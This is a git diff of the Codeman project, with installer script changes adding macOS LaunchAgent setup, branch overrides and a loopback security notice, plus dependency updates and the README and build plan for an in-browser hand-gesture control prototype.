# CODEMAN_SKIP_SYSTEMD=1 - Skip systemd/launchd service setup prompt
# CODEMAN_NODE_VERSION - Node.js major version to install (default: 22)
# CODEMAN_REPO_URL - Custom git repository URL (default: upstream Codeman)
# CODEMAN_BRANCH - Git branch to install (default: master)
set -euo pipefail
@@ -17,12 +19,20 @@ set -euo pipefail
# ============================================================================
INSTALL_DIR="${CODEMAN_INSTALL_DIR:-$HOME/.codeman/app}"
REPO_URL="https://github.com/Ark0N/Codeman.git"
REPO_URL="${CODEMAN_REPO_URL:-https://github.com/Ark0N/Codeman.git}"
BRANCH="${CODEMAN_BRANCH:-master}"
MIN_NODE_VERSION=18
TARGET_NODE_VERSION="${CODEMAN_NODE_VERSION:-22}"
NONINTERACTIVE="${CODEMAN_NONINTERACTIVE:-0}"
SKIP_SYSTEMD="${CODEMAN_SKIP_SYSTEMD:-0}"
# puppeteer is a devDependency used only by scripts/browser-comparison.mjs — its
# ~150MB chrome-headless-shell download is never needed to build or run Codeman.
# Skipping it avoids a slow download and a fatal install failure when a prior
# download left a corrupt cache (folder present, executable missing). Respect an
# explicit caller override so contributors can still fetch the browser if needed.
export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
# Claude CLI search paths (from src/utils/claude-cli-resolver.ts)
CLAUDE_SEARCH_PATHS=(
"$HOME/.local/bin/claude"
@@ -96,6 +106,20 @@ die() {
exit 1
}
# Security notice — printed at the very end of install/update so it is the last
# thing the user sees (the default loopback bind + how to expose it safely).
print_security_notice() {
echo ""
echo -e " ${YELLOW}${BOLD}Security:${NC}"
echo -e " Codeman binds ${BOLD}127.0.0.1${NC} (this machine only) — no password needed by default."
echo -e " To reach it from another device, do ONE of:"
echo -e " ${CYAN}•${NC} tailscale serve / cloudflared tunnel ${DIM}(recommended)${NC}, or"
echo -e " ${CYAN}•${NC} ${CYAN}codeman web --host 0.0.0.0${NC} AND set ${CYAN}CODEMAN_PASSWORD${NC}"
echo -e " A non-loopback bind without a password still starts, but warns loudly."
echo -e " ${DIM}Details: docs/security-architecture.md${NC}"
echo ""
}
# ============================================================================
# Cleanup on Failure
# ============================================================================
@@ -350,8 +374,15 @@ ensure_sudo() {
die "sudo is required but not installed. Please install packages manually or run as root."
fi
# Validate sudo access
if ! sudo -v 2>/dev/null; then
die "Failed to obtain sudo privileges."
# When piped (curl | bash), stdin is the pipe — redirect from /dev/tty so sudo can prompt
if [[ -e /dev/tty ]]; then
if ! sudo -v 2>/dev/null < /dev/tty; then
die "Failed to obtain sudo privileges."
fi
else
if ! sudo -v 2>/dev/null; then
die "Failed to obtain sudo privileges. Try running the script directly instead of piping."
fi
fi
}
@@ -369,7 +400,12 @@ ensure_homebrew() {
fi
info "Installing Homebrew first..."
/bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
# When piped (curl | bash), stdin is the pipe — Homebrew needs TTY for sudo password prompt
if [[ -e /dev/tty ]]; then
/bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" < /dev/tty
else
NONINTERACTIVE=1 /bin/bash -c "$(download_to_stdout https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
fi
# Add Homebrew to PATH for Apple Silicon
if [[ -f /opt/homebrew/bin/brew ]]; then
@@ -784,9 +820,84 @@ setup_sc_alias() {
}
# ============================================================================
# Systemd Service Setup (Linux only)
# Service Setup (Linux systemd / macOS launchd)
# ============================================================================
setup_launchd_service() {
local plist_label="com.codeman.web"
local agent_dir="$HOME/Library/LaunchAgents"
local agent_plist="$agent_dir/$plist_label.plist"
local daemon_plist="/Library/LaunchDaemons/$plist_label.plist"
info "Setting up macOS LaunchAgent..."
# Remove any existing LaunchDaemon (system-level) to prevent duplicates.
# We standardize on LaunchAgent (user-level) — it doesn't require sudo,
# inherits the user's environment, and is the correct choice for user apps.
if [[ -f "$daemon_plist" ]]; then
warn "Found system-level LaunchDaemon at $daemon_plist — removing to prevent duplicate"
sudo launchctl unload "$daemon_plist" 2>/dev/null || true
sudo rm -f "$daemon_plist"
success "Removed duplicate LaunchDaemon"
fi
# Unload existing agent before overwriting
if [[ -f "$agent_plist" ]]; then
launchctl unload "$agent_plist" 2>/dev/null || true
fi
mkdir -p "$agent_dir"
# Build PATH: ensure /opt/homebrew/bin (Apple Silicon) and ~/.local/bin are included
local svc_path="/opt/homebrew/bin:/usr/local/bin:$HOME/.local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
# Find node binary path
local node_path
node_path=$(command -v node)
cat > "$agent_plist" << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>$plist_label</string>
<key>ProgramArguments</key>
<array>
<string>$node_path</string>
<string>$INSTALL_DIR/dist/index.js</string>
<string>web</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>PATH</key>
<string>$svc_path</string>
<key>HOME</key>
<string>$HOME</string>
<key>LANG</key>
<string>en_US.UTF-8</string>
</dict>
<key>WorkingDirectory</key>
<string>$HOME</string>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ThrottleInterval</key>
<integer>10</integer>
<key>StandardOutPath</key>
<string>/tmp/codeman.log</string>
<key>StandardErrorPath</key>
<string>/tmp/codeman.log</string>
</dict>
</plist>
EOF
launchctl load "$agent_plist" 2>/dev/null || true
success "LaunchAgent installed and started"
}
setup_systemd_service() {
local service_dir="$HOME/.config/systemd/user"
local service_file="$service_dir/codeman-web.service"
@@ -1062,26 +1173,27 @@ main() {
if [[ -d "$INSTALL_DIR/.git" ]]; then
info "Existing installation found, updating..."
cd "$INSTALL_DIR"
git remote set-url origin "$REPO_URL" 2>/dev/null || true
# Check for local changes
if ! git diff --quiet 2>/dev/null || ! git diff --staged --quiet 2>/dev/null; then
warn "Local changes detected in $INSTALL_DIR"
if prompt_yes_no "Discard local changes and update?" "n"; then
git fetch --quiet origin
git reset --hard origin/master --quiet
git reset --hard "origin/$BRANCH" --quiet
else
info "Keeping existing installation, skipping update"
fi
else
git fetch --quiet origin
git reset --hard origin/master --quiet
git reset --hard "origin/$BRANCH" --quiet
fi
else
# Create parent directory
mkdir -p "$(dirname "$INSTALL_DIR")"
# Clone repository (shallow for speed)
git clone --quiet --depth 1 "$REPO_URL" "$INSTALL_DIR"
git clone --quiet --depth 1 --branch "$BRANCH" "$REPO_URL" "$INSTALL_DIR"
cd "$INSTALL_DIR"
fi
@@ -1135,17 +1247,25 @@ main() {
echo ""
local launch_choice=""
local has_systemd=false
local has_service=false
local service_type=""
if [[ "$os" == "linux" ]] && [[ "$SKIP_SYSTEMD" != "1" ]] && command -v systemctl &>/dev/null; then
has_systemd=true
has_service=true
service_type="systemd"
elif [[ "$os" == "macos" ]] && [[ "$SKIP_SYSTEMD" != "1" ]]; then
has_service=true
service_type="launchd"
fi
if [[ "$has_systemd" == "true" ]]; then
if [[ "$has_service" == "true" ]]; then
local service_label="systemd service"
[[ "$service_type" == "launchd" ]] && service_label="LaunchAgent"
echo -e " ${BOLD}How would you like to run Codeman?${NC}"
echo ""
echo -e " ${CYAN}1)${NC} Run now in this terminal"
echo -e " ${CYAN}2)${NC} Install as systemd service (auto-start on boot)"
echo -e " ${CYAN}2)${NC} Install as $service_label (auto-start on boot)"
echo -e " ${CYAN}3)${NC} Don't start — I'll run it later"
echo ""
@@ -1162,7 +1282,7 @@ main() {
done
fi
else
# macOS or no systemd — only offer run now or skip
# No service manager available — only offer run now or skip
echo -e " ${BOLD}Would you like to start Codeman now?${NC}"
echo ""
echo -e " ${CYAN}1)${NC} Run now in this terminal"
@@ -1188,12 +1308,16 @@ main() {
echo ""
# Handle systemd setup
# Handle service setup
if [[ "$launch_choice" == "2" ]]; then
setup_systemd_service
if [[ "$service_type" == "launchd" ]]; then
setup_launchd_service
else
setup_systemd_service
fi
# Offer tunnel service if cloudflared is available
if check_cloudflared && [[ -f "$INSTALL_DIR/scripts/codeman-tunnel.service" ]]; then
# Offer tunnel service if cloudflared is available (Linux only — systemd tunnel service)
if [[ "$service_type" == "systemd" ]] && check_cloudflared && [[ -f "$INSTALL_DIR/scripts/codeman-tunnel.service" ]]; then
echo ""
if prompt_yes_no "Also set up Cloudflare tunnel service? (requires CODEMAN_PASSWORD)" "n"; then
setup_tunnel_service
@@ -1208,10 +1332,16 @@ main() {
echo ""
echo -e " ${BOLD}Manage the service:${NC}"
echo ""
echo -e " ${CYAN}systemctl --user stop codeman-web${NC} # Stop"
echo -e " ${CYAN}systemctl --user restart codeman-web${NC} # Restart"
echo -e " ${CYAN}systemctl --user status codeman-web${NC} # Check status"
echo -e " ${CYAN}journalctl --user -u codeman-web -f${NC} # View logs"
if [[ "$service_type" == "launchd" ]]; then
echo -e " ${CYAN}launchctl unload ~/Library/LaunchAgents/com.codeman.web.plist${NC} # Stop"
echo -e " ${CYAN}launchctl load ~/Library/LaunchAgents/com.codeman.web.plist${NC} # Start"
echo -e " ${CYAN}tail -f /tmp/codeman.log${NC} # View logs"
else
echo -e " ${CYAN}systemctl --user stop codeman-web${NC} # Stop"
echo -e " ${CYAN}systemctl --user restart codeman-web${NC} # Restart"
echo -e " ${CYAN}systemctl --user status codeman-web${NC} # Check status"
echo -e " ${CYAN}journalctl --user -u codeman-web -f${NC} # View logs"
fi
echo ""
fi
@@ -1254,6 +1384,10 @@ main() {
echo ""
fi
# Security notice — last informational block so it stays visible (when not
# auto-launching below; if we exec, the server prints the same notice anyway).
print_security_notice
# Run now in foreground (must be last — exec replaces the shell)
if [[ "$launch_choice" == "1" ]]; then
local profile
@@ -1277,14 +1411,32 @@ update() {
info "Updating Codeman..."
cd "$INSTALL_DIR"
git remote set-url origin "$REPO_URL" 2>/dev/null || true
git fetch --quiet origin
git reset --hard origin/master --quiet
git reset --hard "origin/$BRANCH" --quiet
npm install --quiet --no-fund --no-audit 2>/dev/null || npm install --no-fund --no-audit
npm run build --quiet 2>/dev/null || npm run build
success "Updated to $(node -e "console.log(require('./package.json').version)")"
echo ""
echo -e " ${DIM}Restart codeman web to use the new version.${NC}"
# Auto-restart service if running, otherwise tell the user
local agent_plist="$HOME/Library/LaunchAgents/com.codeman.web.plist"
if systemctl --user is-active codeman-web.service &>/dev/null 2>&1; then
info "Restarting codeman-web service..."
systemctl --user restart codeman-web.service
success "codeman-web service restarted"
elif [[ -f "$agent_plist" ]]; then
info "Restarting LaunchAgent..."
launchctl unload "$agent_plist" 2>/dev/null || true
launchctl load "$agent_plist" 2>/dev/null || true
success "LaunchAgent restarted"
else
echo -e " ${DIM}Restart codeman web to use the new version:${NC}"
echo -e " ${CYAN}pkill -f 'codeman.*web'; codeman web &${NC}"
fi
echo ""
print_security_notice
}
uninstall() {
@@ -1292,9 +1444,9 @@ uninstall() {
info "Uninstalling Codeman..."
echo ""
# Stop and remove systemd services
# Stop and remove systemd services (Linux)
for svc in codeman-web codeman-tunnel; do
if systemctl --user is-active "${svc}.service" &>/dev/null; then
if systemctl --user is-active "${svc}.service" &>/dev/null 2>&1; then
info "Stopping ${svc} service..."
systemctl --user stop "${svc}.service"
fi
@@ -1310,6 +1462,20 @@ uninstall() {
done
systemctl --user daemon-reload 2>/dev/null || true
# Stop and remove launchd services (macOS)
local agent_plist="$HOME/Library/LaunchAgents/com.codeman.web.plist"
local daemon_plist="/Library/LaunchDaemons/com.codeman.web.plist"
if [[ -f "$agent_plist" ]]; then
launchctl unload "$agent_plist" 2>/dev/null || true
rm -f "$agent_plist"
success "Removed LaunchAgent"
fi
if [[ -f "$daemon_plist" ]]; then
sudo launchctl unload "$daemon_plist" 2>/dev/null || true
sudo rm -f "$daemon_plist"
success "Removed LaunchDaemon"
fi
# Remove symlinks
local symlink_dir="$HOME/.local/bin"
if [[ -L "$symlink_dir/codeman" ]]; then
@@ -1355,5 +1521,12 @@ uninstall() {
case "${1:-}" in
update) update ;;
uninstall) uninstall ;;
*) main "$@" ;;
*)
if [[ -z "${1:-}" && -d "$INSTALL_DIR/.git" ]]; then
print_banner
update
else
main "$@"
fi
;;
esac
+16
View File
@@ -0,0 +1,16 @@
{
"$schema": "https://unpkg.com/knip@5/schema.json",
"entry": [
"scripts/*.mjs",
"scripts/*.js",
"scripts/watch-subagents.ts",
"scripts/remotion/Root.tsx",
"scripts/remotion/index.ts",
"test/**/*.test.ts",
"test/mobile/vitest.config.ts",
"test/**/*.mjs"
],
"project": ["src/**/*.{ts,tsx}", "scripts/**/*.{ts,tsx,mjs,js}", "test/**/*.{ts,mjs}"],
"ignoreExportsUsedInFile": true,
"ignoreDependencies": ["@remotion/cli", "@remotion/transitions", "esbuild", "agent-browser"]
}
+5496 -2074
View File
File diff suppressed because it is too large Load Diff
+54 -27
View File
@@ -1,31 +1,38 @@
{
"name": "aicodeman",
"version": "0.3.2",
"description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
"version": "1.1.3",
"description": "Mission control for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
"type": "module",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"bin": {
"aicodeman": "./dist/index.js"
"aicodeman": "./dist/index.js",
"codeman": "./dist/index.js"
},
"scripts": {
"postinstall": "node scripts/postinstall.js",
"build": "node scripts/build.mjs",
"start": "node dist/index.js",
"build:gesture": "node scripts/build-gesture-bundle.mjs",
"start": "NODE_COMPILE_CACHE=${HOME}/.codeman/compile-cache node dist/index.js",
"dev": "tsx src/index.ts web",
"web": "node dist/index.js web",
"clean": "rm -rf dist",
"test": "vitest run",
"test:watch": "vitest",
"test:coverage": "vitest run --coverage",
"test": "vitest run --config config/vitest.config.ts",
"test:watch": "vitest --config config/vitest.config.ts",
"test:coverage": "vitest run --config config/vitest.config.ts --coverage",
"test:ci": "vitest run --config config/vitest.ci.config.ts",
"check:frontend-syntax": "node scripts/check-frontend-syntax.mjs",
"typecheck": "tsc --noEmit",
"lint": "eslint 'src/**/*.ts'",
"lint:fix": "eslint 'src/**/*.ts' --fix",
"format": "prettier --write 'src/**/*.ts'",
"format:check": "prettier --check 'src/**/*.ts'",
"lint": "eslint --config config/eslint.config.js 'src/**/*.ts'",
"lint:fix": "eslint --config config/eslint.config.js 'src/**/*.ts' --fix",
"format": "prettier --write 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
"format:check": "prettier --check 'src/**/*.ts' 'src/web/public/**/*.{js,css,html,json}'",
"check:public-assets": "node scripts/check-public-assets.mjs",
"capture:subagents": "node scripts/capture-subagent-screenshots.mjs",
"changeset": "changeset",
"version-packages": "changeset version",
"version-packages": "changeset version && npm install --package-lock-only && node scripts/check-lockfile-sync.mjs",
"check:lockfile": "node scripts/check-lockfile-sync.mjs",
"knip": "npx --yes knip@latest",
"release": "changeset publish"
},
"workspaces": [
@@ -50,35 +57,37 @@
"dependencies": {
"@fastify/compress": "^8.3.1",
"@fastify/cookie": "^11.0.2",
"@fastify/static": "^8.0.0",
"@remotion/compositor-linux-x64-gnu": "^4.0.432",
"@rspack/binding-linux-x64-gnu": "^1.7.7",
"@fastify/multipart": "^10.0.0",
"@fastify/static": "^9.1.3",
"@fastify/websocket": "^11.2.0",
"@xterm/addon-fit": "^0.11.0",
"@xterm/addon-serialize": "^0.14.0",
"@xterm/addon-unicode11": "^0.9.0",
"@xterm/addon-webgl": "^0.19.0",
"@xterm/xterm": "^6.0.0",
"chalk": "^5.3.0",
"chokidar": "^3.6.0",
"commander": "^12.1.0",
"fastify": "^5.1.0",
"fastify": "^5.8.5",
"node-pty": "^1.1.0",
"qrcode": "^1.5.4",
"uuid": "^10.0.0",
"uuid": "^14.0.0",
"web-push": "^3.6.7",
"xterm": "^5.3.0",
"xterm-addon-fit": "^0.8.0",
"xterm-addon-unicode11": "^0.6.0",
"xterm-addon-webgl": "^0.16.0",
"zod": "^4.3.6"
},
"devDependencies": {
"@changesets/cli": "^2.29.8",
"@eslint/js": "^9.0.0",
"@remotion/cli": "4.0.429",
"@remotion/transitions": "4.0.429",
"@remotion/cli": "4.0.473",
"@remotion/transitions": "4.0.473",
"@types/node": "^20.19.33",
"@types/pngjs": "^6.0.5",
"@types/qrcode": "^1.5.6",
"@types/react": "^19.2.14",
"@types/uuid": "^10.0.0",
"@types/web-push": "^3.6.4",
"@vitest/coverage-v8": "^4.0.18",
"@types/ws": "^8.18.1",
"@vitest/coverage-v8": "^4.1.8",
"agent-browser": "^0.6.0",
"esbuild": "^0.27.3",
"eslint": "^9.0.0",
@@ -87,14 +96,32 @@
"pngjs": "^7.0.0",
"prettier": "^3.4.0",
"puppeteer": "^24.36.0",
"remotion": "4.0.429",
"remotion": "4.0.473",
"tsx": "^4.15.0",
"typescript": "^5.9.3",
"typescript-eslint": "^8.0.0",
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"optionalDependencies": {
"@remotion/compositor-linux-x64-gnu": "^4.0.432",
"@rspack/binding-linux-x64-gnu": "^1.7.7"
},
"overrides": {
"basic-ftp": "^5.3.1",
"fast-uri": "^3.1.2",
"flatted": "^3.4.2",
"anymatch": {
"picomatch": "^2.3.2"
},
"micromatch": {
"picomatch": "^2.3.2"
},
"readdirp": {
"picomatch": "^2.3.2"
}
},
"engines": {
"node": ">=18.0.0"
"node": ">=22.0.0"
},
"repository": {
"type": "git",
+6
View File
@@ -0,0 +1,6 @@
node_modules
dist
dist-codeman/
*.local
.vite
.DS_Store
+258
View File
@@ -0,0 +1,258 @@
# gesture-proto
A Jarvis-style hand-tracking input layer for the Codeman dashboard. Your webcam
sees your hands; you pinch-drag session tabs between columns. Runs entirely
in-browser — **the camera feed never leaves the machine.**
> **This build is pinch-drag only.** The discrete gesture commands (halt-all /
> approve / new-session) were built in Phase 4 but are **intentionally not wired
> up** — an open palm while reaching to pinch kept charging the hold-to-halt. The
> `GestureController` core still emits `command`/`haltProgress` for any future
> consumer; the demo just no longer listens.
This is a standalone prototype (own folder, fake tabs) so the input *feel* can
be validated on real hardware before integrating with Codeman. The canonical
spec is **[`docs/BUILD_PLAN.md`](./docs/BUILD_PLAN.md)** — read it before
continuing the build.
---
## Status: Phase 0–4 complete
| Phase | What | State |
|-------|------|-------|
| 0 | Vite+TS scaffold, mirrored webcam preview, start button | ✅ done |
| 1 | MediaPipe `GestureRecognizer` (VIDEO mode, CDN model+wasm), rAF loop, debug skeleton overlay, HUD | ✅ done |
| — | **Checkpoint: ≥25fps on real camera/lighting** | ✅ 60fps (iPhone 17 Pro / Continuity Camera) |
| 2 | One-Euro–filtered cursor + pinch detection (hysteresis) | ✅ done |
| 3 | Drag fake tabs across 3 columns (state machine) — go/no-go | ✅ done (two-handed) |
| 4 | Discrete gesture→command bus (👍 approve · ✌️ new-session · ✋-hold halt-all) + toast | ✅ built, ⛔ **unwired in the demo** (pinch-only) |
| 5 | Integrate `gesture/` into real Codeman (`src/codeman/entry.ts`) | ✅ **working at the desk** — see [Codeman integration](#codeman-integration) |
Also done beyond the original plan: **two-hand tracking** (drag two tabs at
once) and a **live camera picker** (front-facing iPhone 17 Pro by default; the
superwide / Desk View camera now works too — see the camera note below).
Also: **fullscreen mode** (toggle button — the board fills the display, so grab
targets get big).
**Phase 5 is live** in the real Codeman dashboard. The Codeman-side detach +
instance isolation + base gesture overlay are committed on `Ark0N/Codeman`
branch `beta/session-detach` (open as **PR #103**) — including this session's
gesture *improvements* (direct-detach, Run/Run Shell taps, self-hosted MediaPipe,
cache-bust), ported onto the PR in commit `eea84db` (CI green). See
[Codeman integration](#codeman-integration) below and the hand-off brief
[`../docs/CODEMAN_DETACH_BRIEF.md`](../docs/CODEMAN_DETACH_BRIEF.md).
**Multi-monitor mode — built & validated at the desk (2026-06-08).** Approach
**A+C** (see [`../docs/MULTIMONITOR_DESIGN.md`](../docs/MULTIMONITOR_DESIGN.md)):
(A) gesture "detach" now pops a session into a re-grabbable **in-page floating
panel** (an `<iframe src="/session/:id">`, not an OS window — so the hand keeps
control); (C) `scripts/span-codeman.sh` runs Codeman in a **single window spanned
across both monitors** (Brave-first; needs macOS "Displays have separate Spaces"
OFF + re-login), launchable one-click from a new **multi-monitor button** in
Codeman's header. Confirmed: a panel drags across the monitor seam. Still pending:
`getScreenDetails` screen-snapping (C-snap) and the re-dock gesture.
---
## Run it
```bash
cd gesture-proto
npm install
npm run dev
```
Open the URL Vite prints (http://localhost:5173). `getUserMedia` requires a
secure context — `localhost` qualifies, so the dev server is fine. Click
**Start camera**, allow the camera, hold a hand up. You should see each hand's
21-point skeleton, a cursor ring per hand (cyan = left, violet = right, green
while pinching), and a live HUD.
**Choosing a camera:** after Start, the dropdown lists every video device. On a
Mac with an iPhone nearby (Continuity Camera) you'll typically see the built-in
FaceTime cam, the **iPhone Camera** (main/wide lens), and a **Desk View Camera**
— the latter is driven by the iPhone's ultra-wide lens aimed down at the desk
(the overhead angle). Switching is live; no restart needed. The browser can't
select the ultra-wide lens directly, so Desk View is how you reach it. **The
Desk View / superwide camera now works with no issues and tracking is confirmed
on it** — earlier it was Safari-only and rendered stretched; that's resolved.
**Using it:** point at a tab (it highlights), **pinch** thumb+index to grab,
move to another Screen column, release to drop. Both hands work at once. **⛶
Fullscreen** makes the board fill the display (Esc exits). No open-hand gesture
commands in this build — it's pinch-drag only (see the note up top).
Other scripts: `npm run build` (tsc + vite build), `npm run preview`.
### Developing on the Mac mini, running on the MacBook
The prototype is *run/tested* on the MacBook (better for sitting at the desk
with the camera). To sync:
```bash
git pull # on the MacBook
cd gesture-proto && npm install && npm run dev
```
No machine-specific state is committed (`node_modules/`, `dist/`, and
`.claude/settings.local.json` are gitignored).
### Framerate note
The HUD fps turns **green at ≥ 25**, amber below. Confirmed **60fps** on the
iPhone 17 Pro (Continuity Camera). If it's ever low, improve **even, frontal
lighting on the hand zone** first — that matters more than the sensor.
---
## Codeman integration
Phase 5 ships a **separate consumer**, `src/codeman/entry.ts` (the demo +
`main.ts` are untouched — they stay as a desk-testing harness). It imports the
same unchanged `src/gesture/` core and binds its events to the **real** Codeman
dashboard. Build it standalone (MediaPipe inlined) with:
```bash
npm run build:codeman # esbuild → dist-codeman/gesture-codeman.js
```
Codeman serves that bundle at `/gesture/gesture-codeman.js` and injects it into
the dashboard **only when started with `CODEMAN_GESTURE=1`** (which also widens
its CSP for WebAssembly). Deploy = copy the bundle into Codeman's
`src/web/public/gesture/` and reload (static is served from disk).
**Gestures (all off one pinch, routed by what's under your fingertips):**
- **Fullscreen camera** by default — mirrored, dimmed, full-viewport so you see
your hands over the real tabs; the **⛶** button toggles a corner preview.
- **Grab → in-page floating panel** *(pivoted 2026-06-08 — replaced the old
OS-window detach)* — pinch a session tab, a ghost of it follows your hand, pull
it out of the strip (>70px) and release → the session pops into a **re-grabbable
in-page `.cg-float` panel** (an `<iframe src="/session/:id">`, 640×420) at the
drop point. Pinch the panel again to move it anywhere. It stays inside the
camera-owning page, so the hand keeps control (the old `window.app.detachSession`
`window.open` was a one-way trip). A small twitch-and-release cancels.
- **Run / Run Shell** — pinch over the **Run** (`#runBtn`) or **Run Shell**
(`.btn-shell`) toolbar button and release in place to fire it; drifting too
far first cancels the tap. The button list is `CLICK_SELECTOR` in `entry.ts`.
**Self-hosted MediaPipe.** The Codeman consumer loads the wasm runtime + the
`gesture_recognizer.task` model **same-origin** from `/gesture/` (via
`wasmBase`/`modelUrl` options), not the CDN — a browser content/ad blocker can
otherwise block the CDN and startup fails with `failed: {"isTrusted":true}`.
**Multi-monitor button.** Codeman's header has a **multi-monitor button** (it
replaced the notification bell) → `POST /api/system/span-displays` → spawns
`scripts/span-codeman.sh`, opening a fresh browser `--app` window spanned across
all displays so floating panels can cross the monitor seam (PR #103 `95b0035`).
**Caveats:** Codeman serves static with a 1-year **`immutable`** cache, so
`server.ts` `cacheBustAssets()` appends `?v=<mtime>` to **every** same-origin
`.js`/`.css` (and the gesture bundle), re-stat'd per render — without it an edited
module stays cached until a hard refresh (PR #103 `b5ea711`). The old OS-window
detach verb (kept only as a deliberate, non-default action) does `window.open`,
which a pinch can get popup-blocked — allow popups once if you ever wire it back.
---
## Layout
```
gesture-proto/
├── index.html # demo page: video, tab board, HUD, controls
├── docs/
│ └── BUILD_PLAN.md # canonical spec: goals, algorithms, phases, tuning
├── src/
│ ├── main.ts # wires GestureController -> demo UI (board, HUD, camera, fullscreen)
│ ├── gesture/
│ │ ├── GestureController.ts # camera + recognizer + loop + per-hand state + event bus
│ │ ├── OneEuroFilter.ts # per-axis cursor smoothing
│ │ ├── pinch.ts # pinch distance + hysteresis detector
│ │ ├── commands.ts # debounced gesture→command bus (Phase 4)
│ │ ├── landmarks.ts # landmark indices, connections, helpers
│ │ └── types.ts # event payload types + config (full API surface)
│ ├── demo/
│ │ ├── overlay.ts # draws the hand skeleton + per-hand cursors
│ │ └── tabs.ts # the 3-column board: hit-testing + drag mechanics
│ └── codeman/
│ └── entry.ts # Phase 5 Codeman consumer (real tabs + Run/Run Shell);
│ # esbuild-bundled by `npm run build:codeman`
```
---
## `GestureController` API
Transport-agnostic: it owns the camera, recognizer, per-hand smoothing, pinch
state machine, and gesture→command bus, and emits **coordinate-only** events. It
knows nothing about tabs or the DOM — hit-testing lives in the consumer (the
demo's `tabs.ts`, later Codeman). Integration (Phase 5) is just subscribing and
calling Codeman's existing tab-move / command functions.
```ts
const gc = new GestureController({
video: videoEl,
surface: stageEl, // normalized coords map against this element's rect
numHands: 2,
pinchOn: 0.35, pinchOff: 0.5, // pinch hysteresis (fractions of hand size)
minCutoff: 1.0, beta: 0.01, // One-Euro cursor smoothing
palmHoldMs: 1000, // Open_Palm hold before halt-all fires
deviceId: "", // specific camera; "" = default user-facing
});
// Drag events — surface pixels (X already mirrored), with a per-hand id.
gc.on("grab", ({ hand, x, y }) => {}); // pinch closed → start drag
gc.on("drag", ({ hand, x, y }) => {}); // moving while pinched (per frame)
gc.on("drop", ({ hand, x, y }) => {}); // released (or hand vanished mid-pinch)
// Discrete commands: "halt-all" | "approve" | "new-session".
// Still emitted by the controller, but THIS build's demo does not subscribe
// (pinch-only). Wire these up in Codeman (Phase 5) or re-enable in the demo.
gc.on("command", ({ name }) => {});
// Per-frame snapshot for HUD / hover highlighting / debug overlay.
// `haltProgress` (0–1 Open_Palm charge) is also still emitted but unused here.
gc.on("status", ({ fps, hands, haltProgress }) => {});
// hands: { handedness, cursor:{x,y}/*normalized*/, pinchDist, pinching, gesture }[]
gc.on("results", ({ result, timestampMs }) => {}); // raw recognizer result
await gc.start(); // requests camera, loads model
await gc.useCamera(deviceId); // switch camera live
await gc.listCameras(); // enumerate video inputs
gc.stop();
```
All events are live. Hover highlighting is derived from the `status` snapshot
(not a dedicated event), since only the consumer can hit-test against its tabs.
Full types in [`src/gesture/types.ts`](./src/gesture/types.ts).
---
## Tuning defaults (start here, then adjust by feel)
- **One-Euro filter:** `minCutoff ≈ 1.0`, `beta ≈ 0.01`. Raise `beta` if drag
lags during fast moves; lower `minCutoff` if it jitters when still.
- **Pinch:** `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference
distance, wrist→middle-MCP). Two thresholds = hysteresis = no flicker.
- **Confidence:** detection/tracking ≈ 0.6. Lower if quick gestures get missed,
raise if you get false hands.
- **Camera:** target 30–60fps, even frontal lighting on the hand zone.
---
## Design notes
- **Standalone first.** Fake tabs let us validate feel before touching Codeman.
- **Main thread first.** Inference runs on the main thread (60fps, no stutter);
a Web Worker stays an optional optimization only if the UI ever stutters.
- **Two hands** (`numHands: 2`). Each hand keeps its own cursor + pinch state,
keyed by handedness so filters don't swap when MediaPipe reorders the hands.
- **Camera angle: front-facing default; superwide now usable too** — iPhone 17
Pro main lens via Continuity Camera, pointing / pinch-to-grab grammar. The
superwide / Desk View (overhead, ultra-wide) camera now works with no issues
and tracking is confirmed on it; the earlier Safari-only / stretched blocker is
resolved. The in-app picker switches cameras live.
- **Transport-agnostic controller.** It emits coordinate-only `grab`/`drag`/
`drop` + `command`; the consumer hit-tests. So Phase 5 only swaps the demo's
`tabs.ts` for Codeman wiring — the controller is untouched.
+224
View File
@@ -0,0 +1,224 @@
# Codeman Gesture Control — Prototype Build Plan
> Canonical spec for this project. A Jarvis-style hand-tracking input layer for
> the Codeman dashboard. Webcam sees your hands; you pinch-drag session tabs
> between Screen columns and fire discrete gesture commands. Runs entirely
> in-browser, camera feed never leaves the machine.
Build it as a **standalone prototype first** (its own folder, fake tabs) so the
input feel can be validated on real hardware before any integration with
Codeman's existing drag/command code.
---
## Goal & success criteria
Build a `GestureController` module + a self-contained demo page that:
1. Opens the webcam and runs MediaPipe Gesture Recognizer at ~30fps.
2. Emits a smoothed cursor position and a `pinch` state (grab/release) from hand landmarks.
3. Lets you **drag fake tabs between columns by pinching**, dropping on release.
4. Fires **discrete gesture commands** (open palm, thumbs up, victory) onto an event bus.
5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
**Done when:** you can sit at your desk, pinch a tab, move it to another column,
release, and it lands — reliably, without visible jitter, with the camera
mounted at your chosen angle.
---
## Tech stack
- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
